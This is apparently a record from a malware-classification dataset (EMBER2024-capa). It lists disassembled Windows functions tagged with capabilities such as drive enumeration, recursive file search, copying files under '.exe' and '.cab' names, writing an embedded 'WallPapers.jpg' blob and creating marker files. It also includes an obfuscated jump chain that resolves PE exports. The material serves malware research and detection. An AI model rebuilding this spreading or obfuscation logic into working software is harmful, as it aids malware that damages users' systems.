joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4013e7
Capabilities:
Copy file
Enumerate files on windows
Read file on windows

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x280
mov eax, dword [0x4110fc]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
lea ecx, [ebp - 0x10]
push ecx
push eax
mov esi, str..exe
lea edi, [ebp - 0x10]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x270], eax
lea eax, [ebp - 0x11c]
sub ebx, ebx
push str._s_s
push eax
mov dword [ebp - 0x264], ebx
movsw word es:[edi], word [esi]
mov dword [ebp - 0x27c], ebx
call fcn.00401cb9
add esp, 0x10
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x278], eax
jne 0x401465
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
sub eax, eax
jmp 0x4015e4
mov esi, 0x104
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push ebx
push eax
pop edi
push 0x6d
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
lea eax, [ebp - 0x280]
push eax
push 1
lea eax, [ebp - 0x25d]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [ebp - 0x25d], 0x30
je 0x40159c
push esi
call fcn.00402d80
pop ecx
push esi
mov dword [ebp - 0x268], eax
call fcn.00402d80
push eax
pop edi
pop ecx
lea eax, [ebp - 0x230]
push eax
call fcn.00401d50
pop ecx
mov ebx, eax
push ebx
call fcn.00402d80
pop ecx
xor ecx, ecx
or ebx, ebx
mov dword [ebp - 0x274], eax
jle 0x401530
mov dword [ebp - 0x26c], eax
lea eax, [ebp - 0x230]
sub dword [ebp - 0x26c], eax
mov al, byte [ebp + ecx - 0x230]
cmp al, 0x2e
je 0x401526
mov edx, dword [ebp - 0x26c]
add edx, ecx
inc ecx
cmp ecx, ebx
mov byte [ebp + edx - 0x230], al
jl 0x401505
jmp 0x401530
mov eax, dword [ebp - 0x274]
mov byte [eax + ecx], 0
push dword [ebp - 0x274]
push dword [ebp - 0x270]
push str._s_s.cab
push esi
push dword [ebp - 0x268]
call fcn.00401d34
add esp, 0x14
lea eax, [ebp - 0x230]
push eax
push dword [ebp - 0x270]
push str._s_s
push esi
push edi
call fcn.00401d34
add esp, 0x14
push 1
push dword [ebp - 0x268]
mov dword [0x4348f4], edi
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
or eax, eax
je 0x40159a
mov ecx, dword [ebp - 0x268]
call fcn.004012b4
test eax, eax
je 0x40159a
inc dword [ebp - 0x264]
xor ebx, ebx
lea eax, [ebp - 0x25c]
push eax
push dword [ebp - 0x278]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x4015bc
cmp dword [ebp - 0x264], 2
jne 0x4015d2
push dword [ebp - 0x278]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov dword [ebp - 0x27c], 1
cmp dword [ebp - 0x27c], ebx
je 0x40146a
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401caa
leave
ret
Function at 0x4015f3
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
push esp
pop ebp
and esp, 0xfffffff8
sub esp, 0x154
mov eax, dword [0x4110fc]
xor eax, esp
mov dword [esp + 0x150], eax
and dword [esp], 0
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov esi, 0x104
push esi
call fcn.00402d80
pop ecx
push esi
push eax
pop edi
call fcn.00402d80
pop ecx
push ebx
push str._s.
push edi
mov dword [esp + 0x20], eax
call fcn.00401cb9
add esp, 0xc
lea eax, [esp + 0x18]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
je 0x4016e1
cmp byte [esp + 0x44], 0x2e
jne 0x401674
cmp byte [esp + 0x45], 0
je 0x4016bb
cmp byte [esp + 0x45], 0x2e
jne 0x401674
cmp byte [esp + 0x46], 0
je 0x4016bb
test byte [esp + 0x18], 0x10
je 0x4016bb
mov edi, dword [esp + 0x14]
lea eax, [esp + 0x44]
push eax
push ebx
push str._s_s_
push esi
push edi
call fcn.00401d34
add esp, 0x14
push edi
call fcn.00401c0b
test eax, eax
pop ecx
je 0x4016ae
push edi
call fcn.004013e7
or eax, eax
pop ecx
je 0x4016ae
inc dword [esp + 0xc]
push 1
push 0
push edi
call fcn.004015f3
add esp, 0xc
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x4016d7
mov eax, dword [esp + 0xc]
cmp eax, dword [ebp + 0x10]
jl 0x401658
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0x15c]
mov eax, dword [esp + 0xc]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401caa
mov esp, ebp
pop ebp
ret

Function at 0x401770
Capabilities:
Get disk information

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0xc
mov eax, dword [0x4110fc]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
sub esi, esi
lea eax, [esi + 0x43]
push eax
lea eax, [ebp - 0xc]
push str._c:_
push eax
call fcn.00401cb9
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 4
je 0x4017af
inc esi
cmp esi, 0xd
jl 0x401783
jmp 0x4017bf
push 4
lea eax, [ebp - 0xc]
push 0
push eax
call fcn.004015f3
add esp, 0xc
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00401caa
leave
ret
Function at 0x4017cc
Capabilities:
Get disk information
Write file on windows

Disassembly:
sub esp, 0x18
mov eax, dword [0x4110fc]
xor eax, esp
mov dword [esp + 0x14], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push edi
xor edi, edi
mov dword [esp + 0x14], edi
mov dword [esp + 0x10], edi
mov eax, dword [esp + 0x10]
add eax, 0x43
push eax
lea eax, [esp + 0x20]
push str._c:_
push eax
call fcn.00401cb9
add esp, 0xc
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x4018c2
push 0x104
call fcn.00402d80
mov esi, eax
lea eax, [esp + 0x20]
push eax
push str._swindows_
push esi
call fcn.00401cb9
push esi
call fcn.00401ab2
add esp, 0x14
test eax, eax
je 0x4018c2
push esi
push str._sWallPapers.jpg
push esi
call fcn.00401cb9
add esp, 0xc
push edi
push edi
push 3
push edi
push edi
push 0x80000000
push esi
call ebx
cmp eax, 0xffffffff
je 0x401881
push eax
call ebp
push esi
call fcn.004018e8
pop ecx
mov dword [esp + 0x14], 1
jmp 0x4018c2
push edi
push edi
push 1
push edi
push 2
push 0x40000000
push esi
call ebx
push 0
mov edi, eax
lea eax, [esp + 0x1c]
push eax
push 0x21e7a
push 0x411fa0
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4018c0
push edi
call ebp
push esi
call fcn.004018e8
pop ecx
mov dword [esp + 0x14], 1
sub edi, edi
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x4017f4
mov ecx, dword [esp + 0x24]
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00401caa
add esp, 0x18
ret

Function at 0x401973
Capabilities:
Get disk information

Disassembly:
push ebp
push esp
pop ebp
and esp, 0xfffffff8
sub esp, 0x10
mov eax, dword [0x4110fc]
xor eax, esp
mov dword [esp + 0xc], eax
push esi
push edi
xor edi, edi
mov dword [esp + 8], edi
lea eax, [edi + 0x43]
push eax
lea eax, [esp + 0x10]
push str._c:_
push eax
call fcn.00401cb9
add esp, 0xc
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x401a17
or ebx, ebx
je 0x4019db
push 0x104
call fcn.00402d80
push eax
pop esi
push ebx
lea eax, [esp + 0x14]
push eax
push str._s_s_
push esi
call fcn.00401cb9
add esp, 0x14
jmp 0x4019fb
or edi, edi
je 0x401a17
push 5
call fcn.00402d80
mov esi, eax
lea eax, [esp + 0x10]
push eax
push 0x40fbe0
push esi
call fcn.00401cb9
add esp, 0x10
push esi
call fcn.00401ab2
test eax, eax
pop ecx
je 0x401a17
push 3
push 0
push esi
call fcn.004015f3
add esp, 0xc
or eax, eax
jne 0x401a23
inc edi
cmp edi, 0xd
jl 0x40198f
jmp 0x401a2b
mov dword [esp + 8], 1
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 8]
pop edi
pop esi
xor ecx, esp
call fcn.00401caa
mov esp, ebp
pop ebp
ret
Function at 0x401a40
Capabilities:
Get disk information

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0xc
mov eax, dword [0x4110fc]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
lea eax, [esi + 0x43]
push eax
lea eax, [ebp - 0xc]
push str._c:_
push eax
call fcn.00401cb9
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
je 0x401a7d
inc esi
cmp esi, 0xd
jl 0x401a53
lea eax, [ebp - 0xc]
push eax
call fcn.00401ab2
or eax, eax
pop ecx
pop esi
je 0x401aa4
push 2
lea eax, [ebp - 0xc]
push 0
push eax
call fcn.004015f3
add esp, 0xc
neg eax
sbb eax, eax
neg eax
jmp 0x401aa6
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401caa
leave
ret

Function at 0x401ab2
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x4110fc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push eax
lea eax, [ebp - 0x108]
push str._sreadme.1xt
push eax
xor esi, esi
call fcn.00401cb9
add esp, 0xc
push esi
push esi
push 1
push esi
push esi
push 0x40000000
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x401afe
inc esi
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00401caa
leave
ret

Function at 0x401b21
Capabilities:
Get file size
Write file on windows

Disassembly:
sub esp, 0x18
mov eax, dword [0x4348f4]
push ebx
push ebp
push esi
mov dword [esp + 0x14], eax
lea eax, [esp + 0x1c]
push edi
push eax
call fcn.00402ce6
push dword [esp + 0x24]
call fcn.00401df1
pop ecx
pop ecx
call fcn.00401dfe
sub edx, edx
mov ecx, 0x4538
div ecx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
xor edi, edi
push edi
push edi
push 3
push edi
push edi
push 0x80000000
push dword [esp + 0x44]
mov esi, edx
add esi, 0x8ff1
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
push eax
mov dword [esp + 0x1c], eax
call ebp
cmp eax, edi
mov dword [esp + 0x10], eax
jne 0x401b91
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push edi
push 3
push edi
push 2
push 0x40000000
push dword [esp + 0x30]
call ebx
push eax
pop ebx
push edi
push ebx
call ebp
mov ecx, 0x16e360
cmp dword [esp + 0x10], ecx
jbe 0x401bc4
sub esi, eax
add esi, ecx
jmp 0x401bcd
cmp dword [esp + 0x10], eax
ja 0x401bcd
sub esi, esi
inc esi
push esi
call fcn.00402d80
pop ecx
push 2
push edi
push edi
push ebx
push eax
pop ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push edi
lea eax, [esp + 0x20]
push eax
push esi
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, eax
jne 0x401bfa
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x401c0b
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x258
mov eax, dword [0x4110fc]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
lea ecx, [ebp - 0x258]
push ecx
push eax
lea eax, [ebp - 0x114]
push str._s_s
push eax
xor ebx, ebx
mov dword [ebp - 0x258], 0x2a2e2a
call fcn.00401cb9
add esp, 0x10
lea eax, [ebp - 0x254]
push eax
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x401c99
mov esi, dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea eax, [ebp - 0x254]
push eax
push edi
call esi
or eax, eax
je 0x401c99
cmp ebx, 4
jge 0x401c94
lea eax, [ebp - 0x254]
push eax
push edi
inc ebx
call esi
or eax, eax
jne 0x401c7b
cmp ebx, 4
jl 0x401c99
xor eax, eax
inc eax
jmp 0x401c9b
sub eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401caa
leave
ret

Function at 0x401caa
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4110fc]
jne 0x401cb4
repz ret
jmp 0x403039
push ebp
push esp
pop ebp
sub esp, 0x328
mov dword [0x433f48], eax
mov dword [0x433f44], ecx
mov dword [0x433f40], edx
mov dword [0x433f3c], ebx
mov dword [0x433f38], esi
mov dword [0x433f34], edi
mov word [0x433f60], ss
mov word [0x433f54], cs
mov word [0x433f30], ds
mov word [0x433f2c], es
mov word [0x433f28], fs
mov word [0x433f24], gs
pushfd
pop dword [0x433f58]
mov eax, dword [ebp]
mov dword [0x433f4c], eax
mov eax, dword [ebp + 4]
mov dword [0x433f50], eax
lea eax, [ebp + 8]
mov dword [0x433f5c], eax
mov eax, dword [ebp - 0x320]
mov dword [0x433e98], 0x10001
mov eax, dword [0x433f50]
mov dword [0x433e4c], eax
mov dword [0x433e40], 0xc0000409
mov dword [0x433e44], 1
mov eax, dword [0x4110fc]
mov dword [ebp - 0x328], eax
mov eax, dword [0x411100]
mov dword [ebp - 0x324], eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x433e90], eax
push 1
call fcn.004077da
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0x40e380
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x433e90], 0
jne 0x403129
push 1
call fcn.004077da
pop ecx
push 0xc0000409
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
leave
ret
Function at 0x406a0e
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
sub esi, esi
sub edi, edi
cmp ebx, dword [edi*8 + 0x4119e8]
je 0x406a29
inc edi
cmp edi, 0x17
jl 0x406a1a
cmp edi, 0x17
jae 0x406ba9
push ebp
push 3
call fcn.0040b683
cmp eax, 1
pop ecx
je 0x406b75
push 3
call fcn.0040b683
test eax, eax
pop ecx
jne 0x406a5d
cmp dword [0x4110f8], 1
je 0x406b75
cmp ebx, 0xfc
je 0x406ba8
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x4342c8
push ebp
call fcn.004050d8
add esp, 0xc
test eax, eax
je 0x406a93
push esi
push esi
push esi
push esi
push esi
call fcn.00403c3f
add esp, 0x14
push 0x104
mov esi, 0x4342e1
push esi
push 0
mov byte [0x4343e5], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x406ad7
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.004050d8
add esp, 0xc
test eax, eax
je 0x406ad7
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.00403c3f
add esp, 0x14
push esi
call fcn.00401d50
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x406b1c
push esi
call fcn.00401d50
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x4345dc
push 0x40eb04
sub ecx, eax
push ecx
push eax
call fcn.00409ab6
add esp, 0x14
or eax, eax
je 0x406b1c
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.00403c3f
add esp, 0x14
jmp 0x406b1e
xor esi, esi
push 0x40eb00
push ebx
push ebp
call fcn.004099f7
add esp, 0xc
or eax, eax
je 0x406b3e
push esi
push esi
push esi
push esi
push esi
call fcn.00403c3f
add esp, 0x14
push dword [edi*8 + 0x4119ec]
push ebx
push ebp
call fcn.004099f7
add esp, 0xc
or eax, eax
je 0x406b60
push esi
push esi
push esi
push esi
push esi
call fcn.00403c3f
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.0040b4e5
add esp, 0xc
jmp 0x406ba8
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
pop ebp
cmp ebp, esi
je 0x406ba8
cmp ebp, 0xffffffff
je 0x406ba8
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x4119ec]
push dword [esi]
call fcn.00401d50
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x4070e0
Capabilities:
Query environment variable

Disassembly:
push ecx
push ecx
mov eax, dword [0x4346e8]
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebx, ebx
sub esi, esi
cmp eax, ebx
push 2
pop ebp
jne 0x407129
call edi
push eax
pop esi
cmp esi, ebx
je 0x407110
mov dword [0x4346e8], 1
jmp 0x407132
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
jne 0x407124
push ebp
pop eax
mov dword [0x4346e8], eax
jmp 0x407129
mov eax, dword [0x4346e8]
cmp eax, 1
jne 0x4071b6
cmp esi, ebx
jne 0x407145
call edi
mov esi, eax
cmp esi, ebx
jne 0x407145
xor eax, eax
jmp 0x40720e
cmp word [esi], bx
push esi
pop eax
je 0x40715a
add eax, ebp
cmp word [eax], bx
jne 0x40714c
add eax, ebp
cmp word [eax], bx
jne 0x40714c
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebx
push ebx
push ebx
sub eax, esi
push ebx
sar eax, 1
inc eax
push eax
push esi
push ebx
push ebx
mov dword [esp + 0x34], eax
call edi
push eax
pop ebp
cmp ebp, ebx
je 0x4071ab
push ebp
call fcn.0040513d
cmp eax, ebx
pop ecx
mov dword [esp + 0x10], eax
je 0x4071ab
push ebx
push ebx
push ebp
push eax
push dword [esp + 0x24]
push esi
push ebx
push ebx
call edi
or eax, eax
jne 0x4071a7
push dword [esp + 0x10]
call fcn.0040504a
pop ecx
mov dword [esp + 0x10], ebx
mov ebx, dword [esp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
jmp 0x40720e
cmp eax, ebp
je 0x4071be
cmp eax, ebx
jne 0x40713e
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push eax
pop esi
cmp esi, ebx
je 0x40713e
cmp byte [esi], bl
je 0x4071dc
inc eax
cmp byte [eax], bl
jne 0x4071d2
inc eax
cmp byte [eax], bl
jne 0x4071d2
sub eax, esi
inc eax
mov ebp, eax
push ebp
call fcn.0040513d
mov edi, eax
cmp edi, ebx
pop ecx
jne 0x4071fa
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
jmp 0x40713e
push ebp
push esi
push edi
call fcn.00405260
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret
Function at 0x40b4e5
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.004041e5
sub ebx, ebx
cmp dword [0x434898], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x40b5ba
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
pop edi
cmp edi, ebx
jne 0x40b525
sub eax, eax
jmp 0x40b67e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x40b51e
push eax
call fcn.00404182
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x434898], eax
call esi
push eax
call fcn.00404182
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x43489c], eax
call esi
push eax
call fcn.00404182
mov dword [0x4348a0], eax
lea eax, [ebp - 8]
push eax
call fcn.004067af
or eax, eax
pop ecx
pop ecx
je 0x40b588
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00403c3f
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x40b5ba
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00404182
cmp eax, ebx
pop ecx
mov dword [0x4348a8], eax
je 0x40b5ba
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404182
pop ecx
mov dword [0x4348a4], eax
mov eax, dword [0x4348a4]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x40b633
cmp dword [0x4348a8], esi
je 0x40b633
push eax
call fcn.004041ee
pop ecx
call eax
cmp eax, ebx
je 0x40b600
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x4348a8]
call fcn.004041ee
pop ecx
call eax
or eax, eax
je 0x40b600
test byte [ebp - 0x18], 1
jne 0x40b633
lea eax, [ebp - 0xc]
push eax
call fcn.004067e6
test eax, eax
pop ecx
je 0x40b61b
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00403c3f
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x40b62a
or dword [ebp + 0x10], 0x200000
jmp 0x40b664
or dword [ebp + 0x10], 0x40000
jmp 0x40b664
mov eax, dword [0x43489c]
cmp eax, esi
je 0x40b664
push eax
call fcn.004041ee
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x40b664
mov eax, dword [0x4348a0]
cmp eax, esi
je 0x40b664
push dword [ebp - 4]
push eax
call fcn.004041ee
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x434898]
call fcn.004041ee
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x68960c0e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x4c
mov eax, dword [ebp + 8]
cdq
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
jmp 0x68960d03
jmp 0x68960de7
jmp 0x68960ecb
jmp 0x68960faf
jmp 0x68961093
jmp 0x68961177
jmp 0x6896125b
jmp 0x6896133f
jmp 0x68961423
jmp 0x68961507
jmp 0x689615eb
jmp 0x689616cf
jmp 0x689617b3
jmp 0x68961897
jmp 0x6896197b
jmp 0x68961a5f
jmp 0x68961b43
jmp 0x68961c27
jmp 0x68961d0b
jmp 0x68961def
jmp 0x68961ed3
jmp 0x68961fb7
jmp 0x6896209b
jmp 0x6896217f
jmp 0x68962263
jmp 0x68962347
jmp 0x6896242b
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
jmp 0x68962515
jmp 0x689625f9
jmp 0x689626dd
jmp 0x689627c1
jmp 0x689628a5
jmp 0x68962989
jmp 0x68962a6d
jmp 0x68962b51
jmp 0x68962c35
jmp 0x68962d19
jmp 0x68962dfd
jmp 0x68962ee1
jmp 0x68962fc5
jmp 0x689630a9
jmp 0x6896318d
jmp 0x68963271
jmp 0x68963355
jmp 0x68963439
jmp 0x6896351d
jmp 0x68963601
jmp 0x689636e5
jmp 0x689637c9
jmp 0x689638ad
jmp 0x68963991
jmp 0x68963a75
jmp 0x68963b59
jmp 0x68963c3d
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x3c]
mov ecx, eax
mov ebx, eax
sar ebx, 0x1f
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x20], eax
jmp 0x68963d3b
jmp 0x68963e1f
jmp 0x68963f03
jmp 0x68963fe7
jmp 0x689640cb
jmp 0x689641af
jmp 0x68964293
jmp 0x68964377
jmp 0x6896445b
jmp 0x6896453f
jmp 0x68964623
jmp 0x68964707
jmp 0x689647eb
jmp 0x689648cf
jmp 0x689649b3
jmp 0x68964a97
jmp 0x68964b7b
jmp 0x68964c5f
jmp 0x68964d43
jmp 0x68964e27
jmp 0x68964f0b
jmp 0x68964fef
jmp 0x689650d3
jmp 0x689651b7
jmp 0x6896529b
jmp 0x6896537f
jmp 0x68965463
mov eax, dword [ebp - 0x20]
add eax, 0x78
mov dword [ebp - 0x24], eax
jmp 0x68965550
jmp 0x68965634
jmp 0x68965718
jmp 0x689657fc
jmp 0x689658e0
jmp 0x689659c4
jmp 0x68965aa8
jmp 0x68965b8c
jmp 0x68965c70
jmp 0x68965d54
jmp 0x68965e38
jmp 0x68965f1c
jmp 0x68966000
jmp 0x689660e4
jmp 0x689661c8
jmp 0x689662ac
jmp 0x68966390
jmp 0x68966474
jmp 0x68966558
jmp 0x6896663c
jmp 0x68966720
jmp 0x68966804
jmp 0x689668e8
jmp 0x689669cc
jmp 0x68966ab0
jmp 0x68966b94
jmp 0x68966c78
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, eax
mov ebx, 0
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x28], eax
jmp 0x68966d75
jmp 0x68966e59
jmp 0x68966f3d
jmp 0x68967021
jmp 0x68967105
jmp 0x689671e9
jmp 0x689672cd
jmp 0x689673b1
jmp 0x68967495
jmp 0x68967579
jmp 0x6896765d
jmp 0x68967741
jmp 0x68967825
jmp 0x68967909
jmp 0x689679ed
jmp 0x68967ad1
jmp 0x68967bb5
jmp 0x68967c99
jmp 0x68967d7d
jmp 0x68967e61
jmp 0x68967f45